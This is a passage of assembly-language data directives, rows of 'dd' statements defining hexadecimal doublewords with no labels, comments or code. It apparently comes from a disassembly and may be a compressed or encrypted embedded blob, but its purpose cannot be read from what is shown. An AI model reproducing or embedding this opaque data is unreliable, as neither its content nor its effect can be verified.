		dd 706091h, 2086851h, 14E1D06Ch, 0C4D8AB00h, 1165C6CCh
		dd 795B003Ch, 976373FDh, 0A6005CE2h, 78A5E58Fh,	0FCEA75C5h
		dd 0F9FF896h, 0D076CEC3h, 13FBDEC0h, 0EE00BBA8h, 0EFF787D2h
		dd 7D12F13Fh, 1F07006Fh, 0BE325D26h, 300010B6h,	0F3D40B75h
		dd 17A5734h, 2B4339FDh,	0CC28DEB2h, 6B00C9AAh, 472C3A06h
		dd 2651AE40h, 8018D507h, 0A1ED1B0Ch, 0B000DD77h, 9D85E796h
		dd 56B1B328h, 5060EC3Eh, 75A3D95Eh, 0B15C8000h,	0AA1D26B4h
		dd 31892A9h, 6381A8B8h,	0D398F2EBh, 0D400D960h,	0D26A141Ch
		dd 4898700Ch, 3613EC42h, 398C405Eh, 0E0C296C9h,	0F1024892h
		dd 0B58BC88Eh, 1D8448BDh, 0F0551F7Dh, 9BEFC43Fh, 3BF5C095h
		dd 2C029707h, 967B0235h, 6A38607Eh, 0EEE806h, 73DB6DF1h
		dd 0BBD78A4Eh, 2862C000h, 0A21229D8h, 0F5F0047h, 2D9680AFh
		dd 0BF04527Ah, 8A794926h, 0FFD030C8h, 578E8181h, 0DB5D1C70h
		dd 0E17CACD8h, 0C1535C31h, 0E834CC54h, 0F9E850FDh, 0A6520930h
		dd 8020EDEEh, 2E7B056Ch, 6307FC92h, 1F7309ACh, 816BF6D2h
		dd 439B758Ch, 0A2773B00h, 217EE200h, 0E66E50ACh, 91D900DCh
		dd 8EB4B2B3h, 0AF14A216h, 79C4B6B0h, 698F88h, 72CAB891h
		dd 1E5E8270h, 9C80FC48h, 0BFCE3A80h, 7261266h, 60B7B9ECh
		dd 0CB3D3141h, 0E98806Ah, 5F1790A1h, 6C9C0044h,	0D4F8C2ADh
		dd 6E302385h, 0FCE5D8D8h, 55E30A84h, 40409093h,	29BAA22h
		dd 3DBE4300h, 539D7FE4h, 9107006Ah, 0A8CED4E6h,	74B0D8DDh
		dd 66CA110Eh, 101AECFh,	0F109CB3Bh, 614A5ECh, 262A658Eh
		dd 0DD0070E6h, 83D6158Ah, 0B16AB9FEh, 8576007Ch, 0F46E933Ch
		dd 3218C37Ah, 6D885D59h, 156200D1h, 0B946688Dh,	7013888Fh
		dd 0D00097E0h, 6EF74CF1h, 40A791Fh, 9EA8A430h, 5E70810Ch
		dd 0D4D0203Ch, 0B9078F00h, 4CA0D21Fh, 90401F14h, 94FD54B8h
		dd 82805700h
		dd 72745DD3h, 0A538ACB0h, 0A253F63Eh, 0FA920988h, 70348A40h
		dd 0B26FE280h, 7E24FB7Eh, 6E271582h, 0AC51FC03h, 4912B9F4h
		dd 1A24A465h, 42478004h, 0F68BB47Ah, 8E1E1816h,	0B8708000h
		dd 30928D83h, 35F9429Ah, 0A81F0943h, 0AC563984h, 54C0731Ch
		dd 3420A41Ch, 90F8000Ch, 0E223EFF6h, 2C980A41h,	0D95D3E13h
		dd 4C047010h, 0BA1FA000h, 1AAA14D4h, 23B0547Dh,	0E098389Eh
		dd 0A8A79D00h, 0F1F4DEAh, 4CD298A9h, 100509Bh, 9039E8E7h
		dd 52004A65h, 0B15B238Bh, 0EAEE35Ah, 0A335EC55h, 4EB840D2h
		dd 0F609C10Ah, 31CE360Fh, 2CB4140Bh, 91C0B0DEh,	61434h
		dd 0F088B849h, 60987B9Dh, 28904BB0h, 195EC44h, 66438BC9h
		dd 714E99A6h, 7BDED0C0h, 0F4FC3EEAh, 0BA2D29C1h, 20A6C84Fh
		dd 90A0E4E4h, 0A7A891E4h, 37BCC514h, 81A84CD0h,	0E8D69B66h
		dd 7B9E4110h, 9C118526h, 5DE0E448h, 0EC3B81Dh, 0F8DB2163h
		dd 22333FAFh, 0F8E0696Ch, 0F20A05F7h, 0F02951CEh, 0ACC1C69Dh
		dd 1115AA81h, 44491427h, 0B200145Dh, 357E4F2Ch,	0F604E6E8h
		dd 0A2331A0Dh, 0F0013CA3h, 6CCFF328h, 0EB61802Ch, 0AF527B95h
		dd 3FE4B316h, 92433B82h, 0A4C10BCDh, 80D833D7h,	7774EA5Ch
		dd 6CA92EF7h, 39444F8Ch, 0F474A4ADh, 890E1300h,	7D785595h
		dd 7B5800E5h, 6EA93DB2h, 7C98E2CEh, 82BA9001h, 763F83BDh
		dd 0C133BC50h, 0FE773239h, 0D0A08711h, 2D375D3Dh, 49291100h
		dd 5295A244h, 1F620AFCh, 0BCF9BDh, 89B67840h, 180612F4h
		dd 0A3BC7DA8h, 0FBCD7E19h, 0FBD2A440h, 2387CCFh, 0B582648Eh
		dd 884AA7E8h, 4D094466h, 856B0336h, 0AC9527D4h,	0B474C800h
		dd 368F0C5h, 0E5FD7196h, 90D019DAh, 0EB01B310h,	65B0A1C6h
		dd 1893DFACh, 9A7507ECh, 0B6ED00E7h, 0D71F738Bh, 4EC0AEB7h
		dd 25D5CA9Ch, 0CF751DDDh, 99800022h, 0F8AF35C5h, 8FF65709h
		dd 9E8980D1h, 74D0FCDAh, 5DC81E4Eh, 618C4045h, 41B5D226h
		dd 135A7E03h, 88374638h, 99F78Eh, 0C1F07B87h, 95551F5Dh
		dd 7FEDD417h, 5549C00h,	1BFE72F7h, 68CFB0C4h, 0DB3683D8h
		dd 0B7856F00h, 26C977B2h, 73FC009Fh, 4CB1EB38h,	7103BEFDh
		dd 2C4A6079h, 3DF018A8h, 4F736988h, 0BFE50400h,	3CEC44F6h
		dd 35F700B2h, 0CB3A5D90h, 5806B9EBh, 3F346FFFh,	0E5980051h
		dd 2C5D2B1Bh, 1F147AF4h, 88265Bh, 0F3B4F102h, 0C64DCEh
		dd 9F88CAEh, 376E43C8h,	3D0623Eh, 0A7D88340h, 1864D01Eh
		dd 0FC0E304Bh, 98375360h, 27E13C1Dh, 8C2ED5h, 3ECCB15Ah
		dd 6810E482h, 4070F8AFh, 7E3755Bh, 3749521Ch, 0E4EED00Ah
		dd 0D29EA380h, 10636Ah,	14B326A6h, 0E759DEB5h, 4955B114h
		dd 0ECCA0330h, 0E41E3EE0h, 0EA4DB600h, 5FAA0FAh, 44F53B00h
		dd 24F3556Ah, 0FF35000Bh, 9421412Ch, 0E0A583FAh, 4FA67000h
		dd 5F37E1Dh, 0F52BBD55h, 6E90004Bh, 0A0273CC0h,	13281C48h
		dd 5EEC3D73h, 85E4150Fh, 0C29EA160h, 0BB00D4C4h, 0A274CC6Eh
		dd 60D1A7h, 50EDC695h, 675F694Ah, 96ACF300h, 84A0FEB6h
		dd 87BB338Eh, 0A80A0210h, 0AC8B3723h, 9D6BAE01h, 0A08ED454h
		dd 5CC0C9F1h, 0F3F4916Eh, 0CF0F1A01h, 0E61EC57Eh, 79B7F2C0h
		dd 15E05EEh, 0B225ABh, 9651BE88h, 0CB607BB8h, 802969C8h
		dd 0A45200E7h, 2C71060Ah, 967C10DBh, 44806CA2h,	53BA6AD7h
		dd 3970FF01h, 2009BC6Ch, 2A0E886Ch, 61401F0Ch, 4C489B81h
		dd 9026D100h, 0B6EB5AFDh, 89A50737h, 0A057B40Ch, 0B375DEBAh
		dd 91A4BD00h, 0EBC2BF9Ch, 61600190h, 0D64EFD7h,	38A8EF5Ah
		dd 31C0C734h, 0A7D959Ch, 7C178F8h, 174DF2ADh, 9A7430A6h
		dd 811360C7h, 0D0049F5h, 0BEE5646Fh, 458CA18Eh,	13201EE8h
		dd 1FC32DA2h, 7CA0C003h, 0FE9B1BCDh, 662E21Ch, 0F60803Ch
		dd 77592422h, 9C3800E0h, 7E6D298Bh, 760084F8h, 7AEFA6D0h
		dd 9A836Bh, 3646DE04h, 2C2BBF08h, 0B0550D0Ch, 8038C0h
		dd 61859DE5h, 0BDFE7D6h, 0B0BA413Bh, 0EB04E614h
		dd 58640906h, 5800B687h, 9FB91116h, 683FA90Fh, 7A414009h
		dd 7A21730Eh, 0FDE73F50h, 286FD18Ch, 2953AE90h,	7A360504h
		dd 0C7ED77Dh, 8030AD78h, 3CFBEB09h, 70770AA7h, 2FEEB019h
		dd 92F0ECB8h, 220CA1A2h, 0A5425B0Ch, 63902621h,	9064DEC8h
		dd 0AC1BD232h, 0F319CA32h, 2186CE0Ch, 610A08Ah,	22A34DC4h
		dd 5204193Ah, 9F193E18h, 19320C52h, 36245286h, 19D79020h
		dd 0E59CA035h, 0F90801BAh, 0D68D4DF3h, 78A850AFh, 4F010AB7h
		dd 356A9E60h, 0B8484C72h, 864B00C6h, 9DF90702h,	0FA786A36h
		dd 0B57139C5h, 9BA9C502h, 0BAC88379h, 88A0A32Fh, 389D96Fh
		dd 0BB780D74h, 45E044F0h, 1D797A58h, 6992B504h,	39C6D04Fh
		dd 0AEE73E08h, 4BB41Eh,	0F4FF3998h, 2C034133h, 0C75410E8h
		dd 0C22800ABh, 78B493F0h, 0B86F9C58h, 3862010h,	3861D746h
		dd 48006644h, 27ACE6E5h, 0DA0E40F3h, 675C4543h,	6290C51Eh
		dd 2C2A0Ch, 8509B870h, 863008FAh, 0CFB57A09h, 0C378070Ah
		dd 1C72F145h, 60003428h, 758A5E4Ch, 0E343F78h, 7C4132F4h
		dd 0AAF6BA80h, 0E7F0DEF0h, 86D06F38h, 0B4948862h, 181898C0h
		dd 6858E1E5h, 0BC303F67h, 7BFD4829h, 299360F4h,	510CB54Dh
		dd 197420h, 65EA41CCh, 6011F971h, 125E1C05h, 5C63E347h
		dd 0DA7198AFh, 0EC1B1D9Ah, 810A006Fh, 433E1F1h,	0B753FB0Eh
		dd 807C2E11h, 0C2BCD2A9h, 521F23Dh, 94A8AC42h, 0BC5FCBh
		dd 2B1F1336h, 0BE009ABFh, 417C1D29h, 28D50434h,	214B77Bh
		dd 2066AD2Ah, 0B803A8D0h, 79B12199h, 8A1BDCF1h,	64704C2Ah
		dd 0E1F70099h, 722678E8h, 3E0AD8B0h, 0B4D3E5FBh, 0B5D11380h
		dd 92F21003h, 0A80F3138h, 0DCA1AD41h, 6D28C627h, 0CE0B1878h
		dd 0ED30ABAh, 0FA11806Eh, 9714758h, 2769C753h, 0E7C7439h
		dd 0D37F26C1h, 61DFEC19h, 64038901h, 0B0A42CFAh, 6702024h
		dd 6CC5B5A8h, 0EA30918Bh, 0AFCD41BFh, 0E5620A6Dh, 8080E63Bh
		dd 0EAB6EC61h, 5E41D36Ah, 98A6AC0Bh, 7D8F431Fh,	480EACFh
		dd 948B24F9h, 285EE412h, 0AF2945D4h, 0F0D844DAh, 68AF008Eh
		dd 742BC831h, 283E05D8h, 86FDCh, 755777D9h, 3C0F003Dh
		dd 0C2908EC4h, 6F00C6E0h, 95271742h, 0CCAC3h, 0E9509C46h
		dd 0DC6C67EEh, 0E4A20900h, 991DAFFBh, 0E8C75F4h, 78EB718h
		dd 40472F80h, 5CF0AB74h, 611BF300h, 0DCAEBC8h, 4A30CDBDh
		dd 74918928h, 2B58094h,	61652577h, 729C926Ah, 0EABFF01Dh
		dd 61D48B1Fh, 0E634D900h, 0E86C57DCh, 466D00CBh, 11634BA2h
		dd 0E47199C3h, 3B1BC3Ah, 0D86C6A4Ch, 5D08C0B8h,	942C1E49h
		dd 0EB3F4175h, 0B7811162h, 0C0BE8128h, 0A46617A2h, 0EE130108h
		dd 25C8808Eh, 7DE9F045h, 0ADB991Fh, 0CF55620Fh,	80838E20h
		dd 0CA6B8F95h, 3BE11F14h, 0CB61C3EDh, 83A19AEBh, 0D7B44332h
		dd 848653C0h, 8EB81800h, 0E0756CB7h, 9B2F183Bh,	9C058161h
		dd 7714CA74h, 33C8548Bh, 317B2BDh, 747F7260h, 29E04EA5h
		dd 9D1DBA43h, 0AE0125A8h, 2E8E35C2h, 0E06FF440h, 7595282Bh
		dd 162D07F8h, 80C1280Dh, 0E430C571h, 0A1BCE512h, 0D8910C3Dh
		dd 92901217h, 0EB2D0431h, 0E816F4D4h, 93C8299Ch, 0C8CF5EFCh
		dd 0BF14D0C6h, 36C0F4FAh, 0CB8DE198h, 0CE809B53h, 4442B0C6h
		dd 3C800CF2h, 0BD6284BEh, 0C4E02A68h, 0C09074EFh, 67F52194h
		dd 27CF375Ch, 101D8620h, 0E020C742h, 9B8928E0h,	1087F102h
		dd 0D5682F8h, 1091D011h, 0B46C1822h, 24A12979h,	31062F4h
		dd 45BE7F73h, 40D5F024h, 4479E808h, 633081EDh, 17D186BFh
		dd 504011CBh, 40F6DCF0h, 48CEC326h, 9E9CB4E7h, 0D26F8E8h
		dd 0D843009Eh, 0A0407A3Bh, 19348DC0h, 48AD6A62h, 0A1591h
		dd 4F14AC8Ch, 68A86674h, 0A03F6240h, 0B6007B9Bh, 2ABAFABEh
		dd 48E46237h, 6C22B4C3h, 0A4900548h, 608B080h, 0F50C3728h
		dd 0FD14D099h, 463F692Eh, 0CB0179F6h, 84C518CCh, 0DCCC858h
		dd 33F5721Ch, 0A258D39Ch, 0EA7864C8h, 2807AA00h, 588F87FCh
		dd 17BF3F35h, 5407EA58h, 0A0AABC6Bh, 62555E5Fh,	6884BA07h
		dd 634771CBh, 0B132B2D0h, 381601F5h, 6CC0922Ah,	3AB98014h
		dd 375F3BC4h, 0C32C0042h, 0E5715281h, 0FE002AA5h, 0DAD715AFh
		dd 0A30DFB1Ch, 97A38864h, 0B9E100BDh, 0EAD0754h, 0DC0EE7C5h
		dd 98ED38E5h, 8EBA29h, 0E345F449h, 954F3CAh, 7502C87Ah
		dd 0DC27A855h, 5B2440E4h, 17290F7Bh, 1D2F69D9h,	3661E7h
		dd 7065385h, 7858C600h,	0E379FAA9h, 0A4120020h,	951F470Bh
		dd 0B10C6444h, 38174F0Eh, 229A00F9h, 0C02E1D97h, 43114E0h
		dd 0D3B718ACh, 8EFB802Bh, 68C7E362h, 0C64F42B1h, 3E79D269h
		dd 0F7803D38h, 9C97F278h, 0E407F081h, 9BC0159Eh, 439AB190h
		dd 57910077h, 0D23AE048h, 0D4006058h, 7B99409Dh, 0DBA0DAh
		dd 0F87A5752h, 0D0CE1A1Ch, 0B1000BECh, 657907C8h, 9B0462h
		dd 951BC241h, 147AE811h, 7BA87C00h, 713DB4D8h, 0A0610B60h
		dd 0E866C8Eh, 0E00A0F9h, 0CEBDD839h, 2B70CDC4h,	6004AA94h
		dd 31DFCAC5h, 0B2F55C07h, 8AC1609Ah, 219CBE7Ch,	0B06C00Ah
		dd 0B06D6E40h, 81E4531h, 2080CA12h, 0E50718E8h,	23003F0Ah
		dd 7CAF4027h, 30E0CB9Dh, 0A76998B3h, 31011632h,	0CEB7DF50h
		dd 0EB705651h, 18F2E644h, 513A7D20h, 7273C52Ah,	0DDCC8500h
		dd 796013E1h, 0C956000Fh, 80AC4486h, 0C40CFA71h, 61B3B218h
		dd 886500B4h, 46611D4Eh, 49F857CEh, 76008FE8h, 3BB162C2h
		dd 7E401FFh, 5CBA2CE2h,	0D61CC00Ch, 0CF748A37h,	358228C0h
		dd 63D222Bh, 0E5A9CA6Ah, 80FD08B2h, 2B4D7B21h, 95D8745h
		dd 44FF409Bh, 9C9D4087h, 0BE005169h, 8E7192A5h,	1CF7DD93h
		dd 2BBCEEh, 771AD11Ch, 0A80C2881h, 80A78BCFh, 34048C38h
		dd 423D0B2Bh, 90207E62h, 7622B4Ch, 2C705992h, 0E8C85DCEh
		dd 80CE6ABEh, 0F0A20D6h, 0C41ED36h, 69F5F26Eh, 0C560FE08h
		dd 0F22A720h, 0BF930043h, 28EDA5D7h, 48A363C9h,	1945023h
		dd 0ED490F17h, 88F81819h, 101C6FB4h, 3C00F4DEh,	42C20BCDh
		dd 797B5Fh, 256BD171h, 598D0C63h, 60D8AF32h, 0F0B3040h
		dd 39ED3511h, 0A880D188h, 958A0F23h, 0CBCD0447h, 805576BDh
		dd 0DC888D0Ch, 39E452EFh, 112B4B30h, 883A3D20h,	2391806Dh
		dd 0B39C1A28h, 420CEDE0h, 70BF8785h, 0C3270C76h, 11A175BEh
		dd 0C1A94507h, 852387BCh, 5B47E05Fh, 0D07B68D1h, 0FE467498h
		dd 1BF97B01h, 0C80702CBh, 3110A7FAh, 8A1BBC1Ch,	86FBA9CEh
		dd 0C6F80840h, 8C8E2E3Ah, 21BA8D6Ah, 0E40E00B9h, 0F37A7802h
		dd 0ECF84764h, 0F13DBB31h, 74E82092h, 50DB4996h, 40D80073h
		dd 0C70EDD4Ah, 0D4008CE1h, 76F29D6h, 24593054h,	0BF17BEh
		dd 1B3BFCE5h, 2C0046E2h, 620C3E4Eh, 0ABA68E47h,	312DB894h
		dd 0CC86E63Dh, 56A14598h, 958521C0h, 608D6031h,	3297B1BBh
		dd 220EB113h, 402E49A7h, 0BC9ED04Bh, 0D8DB0935h, 440A859Ch
		dd 61C50818h, 1D609244h, 0ED234F0Fh, 0FF71169h,	801075B6h
		dd 4D7674E6h, 3C5B3316h, 63C76281h, 59D04325h, 0B83DAB72h
		dd 9BA10C6Bh, 61D88D3h,	3D1A7468h, 8FE6F021h, 31370486h
		dd 62362D13h, 3F7F2061h, 87902231h, 82F16500h, 0D0E97EC4h
		dd 5BE3041h, 0DAD4A3A1h, 975B4B00h, 0CB83133h, 9885B06Ah
		dd 0B083E0CBh, 847B500Ah, 3785002Ch, 0A81D4504h, 640033A9h
		dd 57300E0Bh, 0C17C77C5h, 4145AD18h, 0EE4C211Bh, 3C3FC040h
		dd 2D9A8301h, 0AA1AE95Bh
		dd 4DD0E8B2h, 3143E0B0h, 48EF73B8h, 73885A68h, 2531002Bh
		dd 5046CC23h, 0DA120D13h, 140035CAh, 5CD475BFh,	0EBCCA874h
		dd 6AB097h, 99B1F82Bh, 0C801AAD5h, 38ACDA50h, 9A187609h
		dd 104410F1h, 5F3713FFh, 8BD8621Ah, 0FF389C20h,	0B043381Ch
		dd 97923180h, 8D247B75h, 40A1B560h, 782EFBFh, 1A83E843h
		dd 0FFAA102Eh, 0F700D142h, 85A2A602h, 0C46374EAh, 90C68A30h
		dd 42BA3604h, 0CA0C4F00h, 464CFD3Dh, 9A341874h,	0EA948185h
		dd 7E664803h, 888C8FB7h, 79E79D8Ah, 5DBD04C6h, 815A1D2Bh
		dd 0F41C3B50h, 10836B27h, 0C19B72E8h, 5F29FF3Eh, 4474E0A2h
		dd 460E968Dh, 20BCE9FFh, 55A1A61h, 36D80969h, 6892DA07h
		dd 5404E482h, 0AA2AC443h, 0DCA00893h, 51CFDF9Ah, 975380F4h
		dd 1B9FBEh, 1C3D474Ch, 79F5372Ah, 61F66E30h, 450333Ch
		dd 0F478D661h, 0C53CC075h, 9FECF7A1h, 9490BC49h, 346231Ch
		dd 2D3E312Ah, 0F68238D4h, 4B590031h, 26EA63A4h,	676AEBF9h
		dd 5500B058h, 4CD8828Ah, 69203501h, 8B700B19h, 3D548F80h
		dd 0A750ED03h, 734D27B0h, 53B04278h, 3063A264h,	910372F2h
		dd 9D8957CFh, 595101DAh, 0FEB0BCAAh, 0A98EC0F2h, 1524BEB8h
		dd 20E29C5Ch, 312C188Fh, 3E2D3C11h, 84805D88h, 4B7D3194h
		dd 0A0BA0038h, 0E2580D34h, 0EF011D26h, 0E9471385h, 44502245h
		dd 38C956Eh, 8D497C9Fh,	98B9B95Ah, 91ECC7BFh, 0E4A528B0h
		dd 6A00FC57h, 4C8637DEh, 81D287A1h, 1EE442D5h, 8C23B00Ch
		dd 11313904h, 5962262Dh, 31416920h, 0C6E205B9h,	0C8290716h
		dd 5D35D338h, 6314816Dh, 59AC9648h, 0F0208C0Ch,	4D0A1A10h
		dd 58034A75h, 0C09F1CBDh, 4ED7FA82h, 910C80BEh,	0E68A54h
		dd 5ACD6BACh, 5743229Eh, 0C1466A02h, 0C325BED5h, 4E62BCE8h
		dd 6C62B942h, 2200E867h, 0AC5B2B46h, 0B1815CAAh, 0BDC0B848h
		dd 0B9C6D442h, 7E726900h, 0E5711C2Bh, 29750078h, 994D1606h
		dd 0A4A0D743h, 1F03C37h, 0ACC8E429h, 84947590h,	8C63B8h
		dd 57C9BF61h, 5C11EA07h, 30A6AC93h, 0F57465Ch, 0A0C9F6F8h
		dd 9F95526Bh, 0A1AD0C16h, 0DFB0FE5Bh, 76B43110h, 9472512h
		dd 0A4204E7Dh, 223F90B3h, 1E610912h, 6529B801h,	0B8421F20h
		dd 414F3145h, 4E9A3D94h, 895B60B8h, 2C8FEDh, 0F53CDC26h
		dd 0ECCE95FEh, 74DD2816h, 0A5266018h, 82E491ADh, 0DF0F153Ah
		dd 94D86F04h, 36FF0413h, 3246125Fh, 9CE0518Ch, 80B407Ch
		dd 51EAB8E5h, 5E7D60C4h, 40F08924h, 696081ECh, 0A0C0DCA4h
		dd 80BD5DE6h, 0CE932528h, 6A91C01Dh, 4EDE6483h,	0D0E53088h
		dd 27E61B01h, 9D258693h, 5C0FC432h, 8920AD9Ch, 0C16890ABh
		dd 96721412h, 5243F820h, 54DC00D0h, 0D4236965h,	37016610h
		dd 44D8ED06h, 847293F0h, 41117621h, 4C0F2080h, 448C11EDh
		dd 1800A9FBh, 0F4BD940Fh, 5836C0C3h, 131DB87h, 20BC2F21h
		dd 0EB0B4F7Bh, 806A330Fh, 96F5D424h, 349039Eh, 0B772D305h
		dd 828D311Ah, 64C04708h, 2CE06056h, 0E70F24F9h,	0FABF0C54h
		dd 58000159h, 81022171h, 798D4Ch, 0E5EB596Dh, 0DDA36075h
		dd 0BF1DB105h, 0E480B7DAh, 48CDF880h, 4D843040h, 515E0C53h
		dd 44F8B876h, 499BF63h,	1DCBE501h, 0A8D3B712h, 0E08352E7h
		dd 4ADA1FF5h, 2068C2Fh,	7528760h, 315DB270h, 0D40BDC4Fh
		dd 477F1E07h, 98FCA0E3h, 9D0419EBh, 311D9178h, 3739BC74h
		dd 4BC0099Ah, 6A7090F5h, 823CD9B6h, 6189733Dh, 49317098h
		dd 9C40642Ch, 0FD94D503h, 44518E3Dh, 0D1001C84h, 8158B1DEh
		dd 15405C7h, 19FD89C1h,	2D9D1D07h, 423F08h, 0B5017481h
		dd 0E8516F31h, 0AC221FA1h, 0BD0378F5h, 0D70CC275h, 7059311Eh
		dd 0FFF01E02h, 7BCCC42Ch, 810494D3h, 85382516h,	42A04882h
		dd 0F5A09B00h, 0B592C7F3h, 70CB3C6Fh, 0D73002F8h, 61515AFDh
		dd 10FFD891h, 2B50F2h, 0E2A1435Ch, 1B7FF09Eh, 0A3089A00h
		dd 8AF9ECE5h, 726305F2h, 0C2861E2Ch, 3020CD98h,	0C127D29h
		dd 0AE808542h, 0D0608D89h, 0DA6DA221h, 0F607E0FAh, 0B655885Bh
		dd 520A8600h, 2D327C3Ah, 0BD1D0B74h, 0A08094A6h, 8DAC3087h
		dd 15D34800h, 50A444C3h, 718C00D8h, 6C259C57h, 0B21876D5h
		dd 15D17451h, 0BF60F33h, 697B8D75h, 126B34D0h, 4A1D9400h
		dd 59E263B0h, 0E39E00A7h, 11F65AD2h, 0F70076A6h, 68108237h
		dd 77B09Dh, 609263C2h, 41BE8CFDh, 758EB500h, 0FBB81F6Ch
		dd 0C7F900EAh, 53F19267h, 1400FFD7h, 73D06145h,	38C862h
		dd 20CA17ECh, 4DF99E4Ch, 0E0004770h, 3E4470F8h,	0D81F1A9h
		dd 0CD2F32E7h, 35C0E049h, 8337FC00h, 0EA57BFA4h, 1A7C5Ah
		dd 0DE113B1h, 39BD525h,	7C0EA607h, 31C04B0Ah, 0B24369h
		dd 0EDC0CC95h, 7BE7A42Ch, 0C80CE402h, 0C0024704h, 1D139B66h
		dd 0BA84BE1Ah, 67EA1583h, 78759788h, 20531400h,	0B5E3C1EEh
		dd 3A95FAB4h, 0E50033ADh, 70BE74F7h, 9EE8E62Dh,	64E7A903h
		dd 98854665h, 0EEC8F796h, 8F4318C6h, 54885194h,	0F9091DEEh
		dd 80669D95h, 3C1B97C9h, 43D6047Fh, 0AA535C23h,	6AEA33C1h
		dd 24E31183h, 6BC0546Eh, 0E14CDF68h, 0B47D18B0h, 0B1CB20h
		dd 0E3F9C4F6h, 6A50015Dh, 4B629EE2h, 22B52129h,	7924E981h
		dd 17D98521h, 1E674358h, 425508C4h, 0C924E536h,	7FADCF40h
		dd 5E003DC0h, 8AB4E806h, 0D87C7Bh, 60910171h, 3B0FF448h
		dd 50814100h, 0F903B7A2h, 572D008Eh, 0CB851254h, 5F0F8016h
		dd 0E04F94B2h, 0B4FC830Ah, 0B70407ABh, 71091742h, 0C011EEF1h
		dd 264C16AAh, 62860035h, 3BD58107h, 0E50E0058h,	87C74B08h
		dd 34006CE7h, 76473024h, 0B859836Ah, 5B9B0283h,	53315C85h
		dd 8BB5AC80h, 3303394Fh, 0D576A236h, 0CC800F4h,	2A6489EBh
		dd 0BD167747h, 0B40F5F6Fh, 8D7240A1h, 0FE3B1BE7h, 0EEC10193h
		dd 1225D523h, 0FDDDF033h, 4D069805h, 0FE07CF36h, 0DAF0275Dh
		dd 54E0BF1Fh, 3C49E8DCh, 8500D48Dh, 0A52F5E18h,	20700F70h
		dd 0B2DB9F00h, 56CA3D79h, 8A483953h, 0FA0072DCh, 32E4EE43h
		dd 0F20750A2h, 0B93064D2h, 92341170h, 0E26801C5h, 1E28AB84h
		dd 662DD4D3h, 44875C00h, 13880BCBh, 890C039Bh, 7EF4118h
		dd 6451D2D0h, 37A9E507h, 8DD02ACFh, 148ED896h, 0A00A4BE2h
		dd 0A80CB300h, 58E925A4h, 2E0E2F73h, 86BF1C91h,	7D06BB9h
		dd 4E9B0E4Bh, 493E1019h, 164CFED0h, 35CE0027h, 0D1A77F0Ch
		dd 3D7B72CAh, 0B08F5557h, 1861C39Fh, 2F5B753Eh,	67056780h
		dd 70CC3C80h, 0D0BECF00h, 36774107h, 0E36670C4h, 3837D340h
		dd 0D000F81Eh, 0B722014Eh, 571E1C3h, 0F0E0E4E2h, 0B59C0098h
		dd 70D98CA5h, 0AE54EC00h, 797A28B9h, 0B69E000Fh, 173C4ACCh
		dd 2672015Fh, 0ACFB7C0Fh, 380560D8h, 28FFB2h, 1A4EEEADh
		dd 2C46199Fh, 3DAC650Eh, 51F96226h, 9EAC808Dh, 0FD381Dh
		dd 3C402359h, 5B1B472Ch, 3379CCEFh, 8030B63Fh, 9161C5A4h
		dd 0C049D684h, 3786E040h, 57F2DDCEh, 0EFBF7700h, 5AA04392h
		dd 0B52D0105h, 39F6F3BEh, 0CE3EFC08h, 26DE1400h, 0BA20FA74h
		dd 0B35F0076h, 0D9E55A64h, 7001DC5h, 652C337h, 0A50C0Bh
		dd 2E6FF3EFh, 261D3FEh,	0C21948h, 0FD0FBDBCh, 248FDC17h
		dd 886522h, 7F4D379Dh, 62000212h, 51392D10h, 871693h, 2091EFD1h
		dd 46F54452h, 0CB2B4F01h, 51DBD4E3h, 0FB00446Ch, 42F261F3h
		dd 0DA00E982h, 3F2ABCFCh, 328BCFh, 245FBD03h, 290462E3h
		dd 0A979AD00h
		dd 0DDEFD411h, 957245h,	83B11AC4h, 577D8AD6h, 2DFDDB00h
		dd 0BD0A49D7h, 3CA30209h, 0D3A99A77h, 0A2802240h, 0ED657003h
		dd 0E034763Bh, 789336h,	0BEFB38D8h, 1344CAC1h, 22727F00h
		dd 602F94F6h, 6A1C00A7h, 953459EDh, 20EF6264h, 0A0FE174h
		dd 80247FA6h, 0ADEFA3DFh, 0B9850150h, 5DA9C399h, 0E594405Eh
		dd 2055425h, 0B5A5C794h, 0A361D4C0h, 0F9090041h, 0E35956D4h
		dd 1B00D303h, 0FFC39AD0h, 3085DC74h, 0BA2968A5h, 0DE00BDEEh
		dd 8C07D52Ah, 0DF7F1h, 70F4450Bh, 5CEF559Fh, 1D2A124h
		dd 9AB003Eh, 0B3581E4Dh, 3491E5h, 0FD2A1A6Fh, 80E14E95h
		dd 0F117AD8Ch, 266C50Ah, 0C1ACDC96h, 2240B3B2h,	0ED2495C3h
		dd 0E3BA040h, 0E014F020h, 0B7DC9A12h, 710F0076h, 0E5E2ED2Dh
		dd 8096B8Eh, 1B0CEF18h,	4A5BF824h, 5FC01CF0h, 4C6AC0A1h
		dd 0DA0807AAh, 0DC090626h, 59462802h, 311900B6h, 0B275FE75h
		dd 95009490h, 0C584ED2Eh, 23B6A5h, 0AF93E3C6h, 0B6EB79Eh
		dd 75581D03h, 0C0537EF5h, 9F94B0Fh, 79978C4Ah, 0C01085h
		dd 67F8BB9Fh, 53798493h, 0C8D2800h, 0F23A18DDh,	0DB490A36h
		dd 80B82204h, 0A3E677EDh, 0D700B17Eh, 3516A253h, 88C3FFh
		dd 0AEFDB08Ch, 9AFB33E8h, 7500297Fh, 0E9ABD90Eh, 719991D0h
		dd 71C2B80Bh, 5C21000Ah, 4A4D7617h, 0A4A04160h,	0FE002C4Fh
		dd 7FDFBC40h, 0B0A3468h, 0F258FCFAh, 0CF4B5800h, 0D01C9474h
		dd 21C901C2h, 0AE40A355h, 49188D4h, 59E7E4Ah, 0CE145BDAh
		dd 34A441ACh, 50B684C3h, 0C242858Ch, 0A48C3628h, 78EE7107h
		dd 9FD706ABh, 24D08B84h, 5E9162Ch, 0CC5EBC17h, 0BAD001C6h
		dd 30BB23C7h, 0C00014A8h, 76F51978h, 4B73F0h, 40EC08FCh
		dd 0D328DF74h, 66166800h, 5E3AEBAh, 3CC471CDh, 0D800A07Eh
		dd 78E60A36h, 0D100A39Bh, 658E699Ah, 5C1911Fh, 56A218F7h
		dd 0D360C81Ch, 51A48B00h, 0C82CCA02h, 14BAA7h, 5F35055Dh
		dd 3F737884h, 740F9D79h, 0E007639Fh, 50833A8Bh,	0CFD1000Eh
		dd 965A7C02h, 0F7284BB8h, 18098C15h, 89E8F0h, 0C6A7DFEDh
		dd 0FD090340h, 0FAE685ACh, 0A08A1C30h, 9A8BB76h, 7E7416E3h
		dd 0EA782000h, 33F0836Fh, 3CB3E400h, 3519ED8Ah,	341A012Ch
